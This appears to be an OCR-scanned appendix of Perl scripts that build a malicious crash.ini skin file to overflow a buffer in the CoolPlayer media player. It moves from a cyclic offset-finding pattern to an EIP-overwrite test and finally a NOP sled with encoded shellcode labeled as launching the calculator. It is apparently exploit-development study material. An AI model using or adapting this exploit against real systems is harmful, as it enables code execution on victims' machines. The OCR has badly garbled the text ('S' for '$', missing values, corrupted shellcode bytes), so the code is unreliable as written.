Co7Co8Co9CP0CPlCp2Cp3Cp4Cp5Cp6Cp7Cp8CrI9Cg0CglCg2Cg3Cgd4Cg5CqeCq7Cg8Cg9Cr0CrlCr
2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs!’ 5Cs6Cs7Cs8Cs9CtOCtlCt2Ct3Ct4Ct5CtoCt7C
t8CtI9Cu0CulCu2Cu3Cud4CubCu6b6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5CveCv7Cv8CvICWOCWICw2Cw3
CwaCwS5CwoCw/7Cw8CwICx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy
9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9DalDalbDaz2Da3Dad4Da5Da6Da7Da8Da9Db0Dbl1Db2Db3Db4D
b5Db6Db7Db8Db9Dc0Dc1Dc2Dec3Dc4De5Dc6Dec7Dc8Dc9DAd0DA1DAd2Dd3Dd4Dd5Dd6Dd7DdAd8Dd9De
DelDe2De3De4De5De6De7De8De9Df0DEf1Df2DE3Df4DE5Df6DE7DE8Df9Dg0DglDg2Dg3Dg4Dg5Dg
6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3D1i4Di5D16D17D1i8Di9D30Dj1D




372D33D3j4Dj5Dj6D]j7D]j8D]j9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9D10D11D12D13D14D15D16D17
D18D19Dm0ODm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8DmO9DNn0DNn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do
3Do4Do5D06D0o7Do8Do9Dp0DplDp2Dp3Dp4Dp5Dp6Dp 7Dp8Dp 9Dq0DglDg2Dg3Dg4Dg5Dg6Dg7Dg8D
g9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4
Dt5DteDt7Dt8Dt9Du0DulDu2Du3Du4DubDu6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8DvI";

open (SFILE, ">Sfile") ;
print SFILE Sbuffer;

crash3.pl

Sfile= "crash.ini";

Sbuffer = "[CoolPlayer Skin]\nPlaylistSkin=";

Sbuffer .= "A" x g

Sbuffer .=
"AaOAalRAa2ha3RhadPhabhabha7ha8Rha9Ab0AblAb2AL3AL4ALSAL6ALTALSADIACOACIAC2ACIACAA
c5ACc6ACTAC8ACIAdOAdIAd2Ad3Ad4AdS5Ad6Ad7Ad8AdIAc0AelAc2Ae3Aedhe5AebAeTAe8RAe9AT0
Af1Af2Af3AfAAf5Af6AfTAf8ATI9Ag0AglIAg2Ag3Ag4Ag5Ag6AgT7Ag8AGIAN0ANRIAN2AN3ANh4ANSAN
6Ah7Ah8Ah9AI0Ai1AI2A13A14A15A16A17Ai8A19AJ0AJ1A]J2AJ3AJ4A]J5A7J6A]TAF8A]JI9AK0OAKIA
k2Ak3Ak4AkKk5Ak6AK7AK8AKOAI0AL11A12A13A14A15A16A17A18A19AMOAM]I AM2AM3AMAAMSAM6AM 7
Am8AM9ANOAN1AN2An3An4An5An6AN7AN8AN9A00A01A02A03A04A05A06A07A08A09AP0AP1AP2AD
3Ap4Ap5Ap6ApTAP8APIAgOAglAg2Ag3Agq4AgSAqbAq7/Ag8AgqIAr0AT1AT2Ar3Ar4ArS5Ar6Ar 7TAr8A
r9As0As1As2As3As4As5As6As7/As8As9ALt0ALIAL2AL3AtAAL5ALt6AL7TALt8ATL9AUOAUlAUZ2AU3AUS
AuS5AU6AUTAUBAU9AVOAVIAV2AVIAVAAVSAVOAVTAVEAVIAWOAWI AW2AWIAWAAWSAWOAW /AWSAWIAX
0AxX1AxX2Ax3AX4AX5AR6AXTAX8Ax9AY0AY1IAY2AY3AYy4AYyS5AYy6AYTAYy8AYOAZz0AZz1AZ2AZz3AZz4AZ5A
z6Az7Az8Az9Bal0BRalBa2Ba3Bad4Ba5Ba6bBa7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Rb9BcOBC1
Bc2Bc3Bc4Bc5Bc6Bc7Bc8BcIBAOBA1IBA2BA3BAd4BA5BAd6BA7BA8BA9Be0BelBe2Be3Be4Be5Be6Be
7Be8Be9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf 7Bf8Bf9BgOBgl1Bg2Bg3Bg4Bg5Bg6Bg7Bg8BgO9BRh0Bh1Bh2B
h3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B1i1Bi2Bi3BRi4Bi5Bi6Bi7B18Bi9Bj0BRj1Bj2Bj3Bj4Bj5B] 6B 7R]8
Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8BkOB10B11B12B13B14B15B16B17B18B19BmOBm]1 Bm2Bm3Bm
4Bm5Bm6Bm7Bm8BmMI9BN0BN1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9B00BR01BR02Bo03B04Bo5B06B07B08B09IB
POBplBp2Bp3Bp4BpSBp6Bp 7Bp8Bp9Bq0BglBg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9BrO0Br1Br2Br3Br4Br5S
BroBr7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt 0Bt 1Bt 2Bt 3Bt4Bt 5Bt 6Bt 7Bt 8Bt 9BuOBu
1Bu2Bu3Bu4BuS5Bu6Bu7Bu8Bu9Bv0BvI1Bv2Bv3Bv4Bv5Bv6Bv7/Bv8BVIBWOBWIBw2Bw3BwWABWS5BW6R
w7Bw8BwIBx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2
Bz3Bz4Bz5Bz6Bz7Bz8Bz9Cal0CalCa2Ca3Cad4dCa5Ca6Ca’7Ca8Ca9Chb0CblCb2Chb3Chb4Cb5Chb6Chb7Ch
8Cb9Cc0Cc1lCc2Cc3Cc4d4Cc5hCc6Cc7Cc8Cc9CANCAICd2Cd3Cd4ACd5Cd6CA7Cd8CdA9Ce0CelCe2Ce3C
e4Ceb5Ce6Ce7Ce8Ce9Cf0CEf1CE2CE3CE4CES5CE6CETCEB8CEICg0CglCg2Cg3Cgd4Cg5hCgeCg7Cg8Cg9
Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4CT
5Cj6Cj7Cj8CJI9CkOCk1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9C10C11C12C13C14C15C16C17C18C19CmOC
ml1Cm2Cm3Cm4Cm5CmM6CM7Cm8CMICN0CN1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0C01Co02Co3Co04Co5C06
Co7C08Co9CPO0CP1CP2CP3CP4CP5CP6CPT7Cp8CPpI9Cg0CglCg2Cg3Cg4CgsbCgbCg7Cg8Cg9Cr0Crl1Cr
2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1ICt2Ct3Ct4CtE5Ct6CET7C
£t8CtI9Cu0CulCu2Cu3CudCubCu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5CveoCv7Cv8CvICWOCWICw2Cw3
CwaCwS5CwoCw/7Cw8CwICx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy
9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9DalDalbDa2Da3Dad4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4D
b5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4De5Dc6Dc7Dc8Dc9DAd0Dd1DAd2Dd3Dd4Dd5Dd6Dd7DdAd8Dd9De0
DelDe2De3De4De5De6De7De8De9Df0DE1Df2DE3Df4DE5DE6DE7DE8DE9Dg0DglDg2Dg3Dg4Dg5Dg
6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5D16D17D1i8Di9Dj0Dj1D
32Dj3D34Dj5Dj6Dj7Dj8D]9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9D10D11D12D13D14D15D16D17
D18D19DmODmMI1Dm2Dm3Dm4Dm5Dm6Dm7Dm8DmO9DNn0DNn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Dol1Do2Do
3D04Do5D0o6D07D0o8Do9Dp0DplDp2Dp3Dp4Dp5Dp6Dp7Dp8Dp 9Dg0DglDg2Dg3Dg4Dg5Dg6Dg7Dg8D
g9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4
Dt5Dt6Dt7Dt8Dt9Du0DulDu2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8DvI9Dw




ODw1Dw2Dw3Dw4Dw5Dw6Dw/7Dw8DwIDx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5D
y6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9EalEalEa2Ea3EadEab5EabEa’/Ea8Ea9EbOEDbL
Eb2EbL3EL4ELSEL6EDL7ELS8EL9ECOEClEC2EC3EC4ECcS5ECc6ECc7EC8ECOEJOEdIEd2Ed3Ed4EdSEdGEd
TEAB8Ed9Eec(OEeclEe2Ee3Ec4EcbEcbEe7Ec8EecOEfOEf1Ef2Ef3Ef4EfSEf6ELf7TEL8E£OEgO0EgQlEgQ2E
g3Eg4EgbhEg6oEg7Eg8EgGOENROEh1IEN2Eh3Eh4ERS5Eh6ER7ER8ENI9EiOE11Ei2Ei3Ei4EiS5Ei1i6Ei7E18
Ei9EJOE]jlEJ2E]J3Ej4E]j5Ej6E]J7E]J8EJ9EkOEKIEK2EK3EK4EKSEK6EKTEK8EKOEIOELI1IEI2E13E]L
4E15E16E17E18E19EMOEMIEM2EM3EMAEMSEM6EM7EMS8EMOENOEN1EN2En3En4EnS5En6EN7EN8EN9E
00E01E02E03E04E05E06E07E08E09EPOEPlEP2Ep3EPp4EpSEp6EPp 7TEp8EPp9EqOEqlIEq2EgQ3Eg4EgS
Eg6Eg7EQ8EQOErOEr1Er2Er3Er4Er5Er6Er7/Er8Er9EsOEs1Es2Es3Es4EsSEs6EsTES8EsOELOEL
lEt2Et3Et4EtS5EL6EL7TEL8ELt9EUOEUlEUu2EUu3Eu4EuSEU6EU/EU8EU9EVOEVIEV2EV3IEV4AEVSEVGE
VIEVBEVIEWOEWIEW2EW3EW4EWSEWO6EW /EWSEWIEXOEX1ExX2EX3EX4EXSEX6EXTEX8EXOEY0EY1EyY2
Ey3Ey4Ey5Ey6Ey/Ey8EYy9EzO0EZz1Ez2EZz3Ez4Ez5Ez6Ez7Ez8Ez9FalFalFa2Fa3Fad4FabFa6Fa7Fa
8Fa9Fb0FblFb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9FcOFCclFc2Fc3Fc4FcS5Fc6Fc7/Fc8Fc9FdOFd1Fd2Fd3F
d4FdS5Fd6Fd7Fd8Fd9Fe0FelFe2Fe3Fe4FebFe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4AFf5FfoFf7F£8FL9
FgO0FglFg2Fg3Fg4FghFg6Fg7Fg8FgO9FhOFhl1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0F1i1Fi2Fi1i3Fi4Fi
SFi6Fi7Fi8Fi9FJ0Fj1Fj2Fj3Fj4Fj5Fj6F]7Fj8Fj9Fk0Fkl1Fk2Fk3Fk4Fk5Fk6Fk7Fk8FkOF10F
11F12F13F14F15F16F17F18F19FmOFmlI Fm2Fm3Fm4FmSoFm6Fm/7Fm8FmOFnO0Fnl1Fn2Fn3Fn4Fn5Fn6
Fn7Fn8Fn9Fo0F0lFo02F03F04Fo5F06F07Fo08Fo9FpO0FplFp2Fp3Fp4FpSFp6Fp7Fp8Fp9Fg0FglFEg
2Fg3Fg4Fg5Fq6Fq7Fg8Fg9FrOFr1Fr2Fr3Fr4FrSFr6Fr7Fr8Fr9Fs0FslFs2Fs3Fs4Fsb5Fs6Fs7F
S8FsOFtOFt1Ft2Ft3Ft4FtSFt6Ft/FEt8Ft9FuOFulFu2Fu3Fud4FubFu6Fu/7Fu8Fu9Fv0Fv1Fv2Ev3
FvA4FvS5FveEvVIFv8EVIFWOFWlFw2FWw3FWw4FWwOFWO6FW/FW8FWIOFX0FXx1FxXx2Fx3Fx4FX5Fx6Fx7TFx8Fx
OFy0FylFy2Fy3Fy4FyS5Fy6Fy7TFy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0GalGaz2Ga3Ga4G
abGab6Ga7Ga8Ga9Gb0Gb1lGb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0GclGc2Ge3Gc4Ge5Geco6Gec7Ge8Ge9Gd0
Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0GelGe2Ge3Ge4GebGeb6Ge7Ge8Ge9GE0GE1IGE2GE3GE4GE5GE
6GE7GE8GE9Gg0GglGg2Gg3Gg4Gg5GgeGg7Gg8Gg9Gh0Ghl1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0GilG
12G13G14Gi5G1i6Gi7Gi8Gi9G]j0G]j1Gj2G)3Gj4G)5G)6G]7Gj8G]9Gk0Gk1Gk2Gk3Gk4Gk5Gk6GkT
Gk8Gk9G10G11G12G13G14G15G16G17G18G19GMOGMIGM2GM3Gm4Gm5Gm6oGm7Gm8GmIGn0Gn1Gn2Gn
3Gn4Gn5Gn6Gn7Gn8Gn9Go0Gol1Go02Go3Go4Go5Go6Go7Go8Go9Gp0GplGp2Gp3GpaAGp5Gp6Gp7Gp8G
P9Gg0GalGg2Gg3GgaGg5bGgeGqg7Ga8Gg9Gr0Gr1Gr2Gr3Gr4GrS5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4
Gs5Gs6Gs7Gs8Gs9Gt0GL1GE2GE3GL4GLt5GL6GL7GE8GLIGUOGUIGU2Gu3GudGubGuoGu7Gu8Gu9Gy
0GVv1Gv2Gv3Gv4Gv5GveGVT7Gv8GVIGWOGWIGW2GW3Gwa4GwoGwoGw 7Gw8GwIGxR0Gx1Gx2Gx3Gx4Gx5G
x6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6GyT7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9HalHal
Ha2?Ha3Ha4HaS5Ha6Ha7Ha8Ha9HbOHb1Hb2Hb3Hb4Hb5Hb6Hb 7THb8Hb9HCcOHc1Hc2Hc3Hc4Hec5He6He
THc8HCc9HAOHd1HA2HA3Hd4HA5HA6HAd7THA8HAd9He OHe 1He2He3He4He 5 He 6He 7THe8He OHfOHE 1 HE2H
f3Hf4Hf5Hf6HE7THE8Hf OHgOHglHg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9HhOHh1 Hh2Hh3Hh4Hh5Hh6Hh 7Hh 8
HhOHi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4H)J5H)J6H]7H78Hj 9Hk0Hk1Hk2Hk3Hk
4Hk5Hk6Hk7Hk8HkOHI1O0H11H12H13H14H15H16H17H18H1 9HMOHm]1 Hm2 Hm3Hm4 Hm5Hm6Hm 7Hm 8 Hm 9H
nOHNn1HN2Hn3HNn4Hn5HN6HN7HN8HN 9HoOHo1Ho2Ho3Ho4Ho5Ho6Ho 7THO8HOo 9HpOHp1Hp2Hp3HPp4Hp 5
Hp6Hp 7THp8Hp9HqOHqlHgq2Hg3Hg4Hg5Hg6Hg7H8HgOHrOHr 1Hr2Hr 3Hr4HrSHr 6Hr 7THr 8Hr 9Hs OHs
1Hs2Hs3Hs4Hs5Hs6Hs 7THs8HsOHtOHt IHt2Ht3Ht4HtSHEt6Ht 7THEt8HEt 9HUOHUlHu2Hu3Hu4HubHuU6H
u7HU8HU9HVvOHV1HVv2HV3HV4HVOHVO6HV 7THVE8HVIOHWOHW I Hw2 Hw3HWA HwS5Hw 6 Hw 7Hw8 HWOHX OHx 1 Hx 2
Hx3Hx4Hx5Hx6Hx 7THx8Hx 9HyO0Hy1Hy2Hy3Hy4HyS5HYy6HYy 7THY8HYy9HZz0HZz1HZz2HZz3HZz4HZz5HZz6Hz 7HzZ
8Hz9Ial0Ialla2Ia3Ia4IabIla6la7Ia8Ila%9Ib0IblIb2Ib3Ib4Ib5Ib6Ib7Ib8IbO9Ic0IclIc2Ic3I
c4Ic5Ic6Ic7Ic8Ic9Id0Id1TId2Id3TId4Id5Id6Id7Id8Id9Ie0Ielle2le3Ied4Ie5Ie6Ie7Ie8Ie9
IfOIf1TIf2Tf3Tf4T£f5I£f6I£f71£f8If9Ig0IglIg2Ig3Ig4Ig5Ig6Ig7Ig8Ig9ThO0TIhlTh2Th3Th4Th
5Th6ITh7Ih8Th9Ti0TIilTi2Ti3Ti4Ti5Ti6T41711i8TI19T1j0I371I32I331j4I35I76IjJ7IjJ8Ij9I1k0T
k1Tk2Tk3Tk4Tk5Tk6Ik7Ik8TIk9T10I11T12T13T14T15T16TI17I18TI19ImO0ImlIm2Im3Im4Im5Im6
Im7Im8Im9InN0InlIn2In3In4In5In6In7In8In9TI00I0l1I02I03I04TI05I06I07I08I09Ip0IplIp
21p3Ip4IpbIp6lp7Ip8Ip9Ig0IgqlIg2Ig3Ig4IgSbIiqeIg/Igq8Ig9TIr0IrlIr2Ir3Ir4Ir5IreIrT/I
r8Ir9Is0IslIs2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3Tt4TIt5It6It7It8It9Tu0IulIu2Iu3
TudIubITubIu7Iu8Iu9Iv0IvliIv2Iv3Iv4Iv5IveIv/7/Iv8IvIIwOIwlIw2Iw3IwdIwSIwoeIw/Iw8Iw
9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0IylIy2Iy3Iy4Iy5Ily6ly7Iy8Iy9Iz0Iz1I2z2T1z31z41
z51z61z71z8Iz9Ja0JalJa2Ja3Jad4Ja5Jab6Ja7Ja8Ja9db0JblJb2Jb3Jb4Jb5Jb6Jb7IJb8Ib9JcO
JclJdc2Jc3Jc4Jc5Jc6dc7IJc8Ic9Jd0IJd1Id2IJd3Jd4Id5Jd6IJd7Id8IdSJe0delde2de3dJedJebde
6Je7Je8Je9Jf0J£1Jf2J£3Jf4J£5J£f6J£7J£80£9J90d91Jg2Jdg3dJg4Jdg5JdJg6dJg7dJg8Jg9Jh0JhlJd
h2Jh3Jh4Jh5Jh6Jh7Jh8Jh9J10J11J12J13J14J15J16J17J18J19Jj0J31Jj2J33Jj4J)5J36J7]7
Jj8JjJ9Jdk0Jk1Jk2Jk3Jk4Tk5Jk6IJk7Jk8Jk9J10J11J12J13J14J15J16J17J18J19Jm0JmlJIm2Jm




3Jm4Jm5Jm6Jm7JIm8JIm9Jn0Jnl1dn2Jdn3Jn4Jn5dn6Jn7dn8JdJn9%Jo0JolJo2Jo3Jo4Jo5Jo6Jo7Jo8T
09Jp0JdplJdp2dp3dpd4dpS5dpb6dp7dp8dp9Jdq0Jdqldq2Jdgq3Jg4Jg5Jq6edq’7dqg8Jg9dr0dJrlJdr2Jdr3Jrd
Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3ds4Js50s6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8IJt9Ju
0JulJu2Ju3Jud4JubJu6Ju7Ju8Ju9dv0Iv1dv2Iv3dv4advsIvedv7Iv8IvIIwOIwlIw2IJw3JwadIwSJd
woIw/Iw8IwIIx0Ix1JIx2Ix3Ix4Ix5Ix6IJx7Ix8Ix9Jy0dy1dy2dy3dy4Jy5Jy6dy/Jy8Jy9Jz0Jz1
Jz2J3z33Jz43J25026J27Jz28Jz9Kal0KalKa2Ka3Kad4KabKabKa7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb
TKb8KbIKcOKc1Kc2Kc3Kc4Kc5Kco6Ke7Ke8KecIKAOKA1KA2KA3KA4KA5KA6KA7KAB8KAIKeO0KelKe2K
€3Ke4KebKebKe7Ke8KeIKfOKEf1KE2KE3KE4KEOKE6KETKESKEOKgOKglKg2Kg3Kg4Kg5Kg6Kg7Kg8
Kg9KhOKh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8KhOKi0K1i1Ki1i2Ki3K14Ki5K16Ki7Ki8K1i9Kj0Kj1Kj2Kj3K]
4KJ5K]6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk 6Kk 7Kk8KkI9K10K11K12K13K14K15K16K17K18K19K
mOKm1Km2Km3Km4 KmSKm6Km7Km8KmIKn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8KNn9Ko0Kol1lKo2Ko3Ko4Ko5
Ko6Ko7Ko8Ko9KpOKplKp2Kp3Kp4KpSKpb6Kp 7Kp8Kp 9IKqOKglKa2Kg3Kg4KgobKgb6Kg7Kg8Kg9KrOKr
1Kr2Kr3Kr4Kr5KroKr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7TKs8Ks 9Kt OKt 1Kt 2Kt 3Kt 4Kt 5Kt 6K
t7Kt8Kt 9KuOKUulKu2Ku3Ku4KubKub6Ku7Ku8Ku9KvOKv1Kv2Kv3Kv4KvS5KvoKv7Kv8KvIKwOKwlKw2
Kw3KwaAKwSKwoKW /7/KWw8KwIKX OKx1Kx2Kx3Kx4KxS5Kx6Kx TKx8Kx 9Ky0Ky1Ky2Ky3Ky4Ky5Ky 6Ky 7Ky
8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9Lal0Llalla2La3lLa4lLabLa6lLa7La8La9lb0LblLb2Lb3L
b4Lb5Lb6Lb7Lb8Lb9LcO0LclLc2Lc3Lc4LecS5LebLlec/7Le8Lc9Ld0LdlLd2Ld3Ld4Ld5Ld6Ld7Ld8Ld9
LeOLelLe2Le3Le4lLe5Le6Le7Le8Le9Lf0LEf1LE2LE3LEf4LE5LEf6LE7LE8LE9Lg0LglLg2Lg3Lg4Llg
5Lg6Lg7Lg8Lg9LhOLh1Lh2TLh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3L14Li5L16Li7Li8Li9Lj0L
J1Lj2L33Lj4L3j5L)6L)7L)8L])j9Lk0Lk1TLk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9L10L11L1I2T13L14L15L16
L17L18L19TmO0ImlIm2Lm3Lm4LmSIm6lm7Im8LmOLn0Lnlln2Lln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0LolLo
2L03L0o4Lo5L0o6Lo7Lo8Lo9Lp0Lpllp2Lp3Lp4Lp5lp6Llp7Lp8Lp9Lg0LglLg2Lg3Lg4Lg5Lg6Lg/L
g8Lg9LrO0LrlLr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3
Lt4Lt5Lt6Lt7Lt8Lt9Lul0LulLu2Lu3Lud4LubLu6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv
OLWOLWILw2Lw3LwALwSLwoLw 7Lw8ILwILX0Lx1Lx2LXx3LxX4LX5Lx6Lx7Lx8Lx9LyO0LylLy2Ly3Ly4L
yOoLy6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9Ma0MalMa2Ma3Mad4Ma5bMabMa7Ma8Ma 9Mb 0O
Mb1Mb2Mb3Mb4Mb5Mb 6Mb 7Mb8Mb 9McO0Mc1Mc2Mc3Mc4Mc5Mc6Mc 7Mc8Mc 9MdOMd1Md2Md3Md4Md5Md
6Md7Md8Md 9Me OMe 1Me2Me 3Me 4Me 5Me 6Me 7TMe 8Me OME OME 1Mf2Mf 3Mf4MfS5Mf 6ME7ME8ME 9MgOMglM
g2Mg 3Mg 4Mg 5Mg 6Mg 7Mg 8Mg 9Mh 0Mh 1 Mh 2Mh 3Mh 4Mh 5Mh 6Mh 7Mh 8Mh 9Mi 0Mi 1Mi 2Mi 3Mi 4Mi 5Mi 6Mi 7
Mi8Mi9M7jO0Mj1Mj2Mj3Mj4Mj5M]6M7j 7TM])8M]j OIMkOMk 1Mk2Mk3Mk4Mk 5Mk 6Mk 7Mk 8Mk OM10M11M12M1
3M14M15M16M17M18M1 9MmOMm1Mm2Mm3Mm4Mm5Mm6eMm 7Mm8MmOMn O0Mn 1Mn2Mn3Mn4Mn 5Mn 6Mn 7Mn 8M
n9Mo0Mo1Mo2Mo3Mo4Mo5Mo 6Mo 7Mo 8Mo 9IMp OMp 1 Mp 2Mp 3Mp4Mp SMp 6Mp 7Mp 8Mp IMgOMglMg2Mg3Mg4
Mg5Mq6Mg7Mg8Mg9Mr OMr1Mr2Mr 3Mr4Mr SMr 6Mr 7Mr 8Mr 9Ms O0Ms 1Ms2Ms 3Ms 4Ms 5Ms 6Ms 7Ms 8Ms Mt
OMt1IMt2Mt3Mt4Mt5Mt 6Mt 7Mt 8Mt 9MuOMulMu2Mu3Mu4Mu5Mu 6Mu 7Mu8Mu SMv OMv 1 Mv2M

LI
’

open ($SFILE,">S$file") ;
print SFILE Sbuffer;

crash4.pl

Sfile= "crash.ini";

Sbuffer = "[CoolPlayer Skin]\nPlaylistSkin=";
Sbuffer .= "A" x g

Sbuffer .= "BBBB";

Sbuffer .= "CCCC";

Sbuffer .= "DDDD";

open (SFILE,">S$file") ;

print SFILE Sbuffer;

close;

crashcalc.pl

$file= "crash.ini";




Sbuffer = "[CoolPlayer Skin]\nPlaylistSkin=";

Sbuffer .= "A" x g

Sbuffer .= pack('V', ) ;

#NOP Padding

Sbuffer .= "\x90" x g

#Calculator Shellcode

Sbuffer .=

"\xda\xd2\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x43\x43\x43" ."\x43\x43\x43\x43
\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34" ."\x41\x50\x30\x41\x33\x48\x48\x30\
x41\x30\x30\x41\x42\x41" ."\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x
30\x42" ."\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b" ."\x39\x4
5\x50\x43\x30\x43\x30\x43\x50\x4c\x49\x5a\x45\x56" ."\x51\x49\x42\x43\x54\x4c
\x4b\x56\x32\x56\x50\x4c\x4b\x56" ."\x32\x54\x4c\x4c\x4b\x50\x52\x54\x54\x4c\
x4b\x54\x32\x47" ."\x58\x54\x4f\x4f\x47\x51\x5a\x47\x56\x56\x51\x4b\x4f\x56"
C"\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x43\x32\x56" ."\x4c\x47\x50\x4
9\x51\x58\x4f\x54\x4d\x45\x51\x49\x57\x5a" ."\x42\x4c\x30\x50\x52\x51\x47\x4c
\x4b\x56\x32\x54\x50\x4c" ."\x4b\x47\x32\x47\x4c\x45\x51\x58\x50\x4c\x4b\x47\
x30\x54" ."\x38\x4b\x35\x49\x50\x54\x34\x51\x5a\x45\x51\x4e\x30\x50" ."\x50\x
4c\x4b\x47\x38\x45\x48\x4c\x4b\x50\x58\x51\x30\x45" ."\x51\x58\x53\x5a\x43\x4
T\x4c\x47\x39\x4c\x4b\x47\x44\x4c" ."\x4b\x45\x51\x49\x46\x50\x31\x4b\x4£\x50
\x31\x4f\x30\x4e" ."\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x56\x58\x4d"
. "\x30\x43\x45\x5a\x54\x45\x53\x43\x4d\x4c\x38\x47\x4b\x43" ."\x4d\x56\x44\x5
4\x35\x4d\x32\x50\x58\x4c\x4b\x50\x58\x56" ."\x44\x43\x31\x4e\x33\x43\x56\x4c
\x4b\x54\x4c\x50\x4b\x4c" ."\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x54\
x44\x4c" ."\x4b\x45\x51\x58\x50\x4d\x59\x47\x34\x47\x54\x47\x54\x51" ."\x4b\x
51\x4b\x43\x51\x56\x39\x50\x5a\x50\x51\x4b\x4f\x4b" ."\x50\x50\x58\x51\x4f\x5
0\x5a\x4c\x4b\x52\x32\x5a\x4b\x4c" ."\x46\x51\x4d\x52\x4a\x45\x51\x4c\x4d\x4b
\x35\x4f\x49\x43" ."\x30\x45\x50\x43\x30\x56\x30\x45\x38\x56\x51\x4c\x4b\x52"
C"\x4f\x4b\x37\x4b\x4f\x4e\x35\x4f\x4b\x5a\x50\x58\x35\x4e" ."\x42\x56\x36\x4
5\x38\x49\x36\x4c\x55\x4f\x4d\x4d\x4d\x4b" ."\x4f\x58\x55\x47\x4c\x54\x46\x43
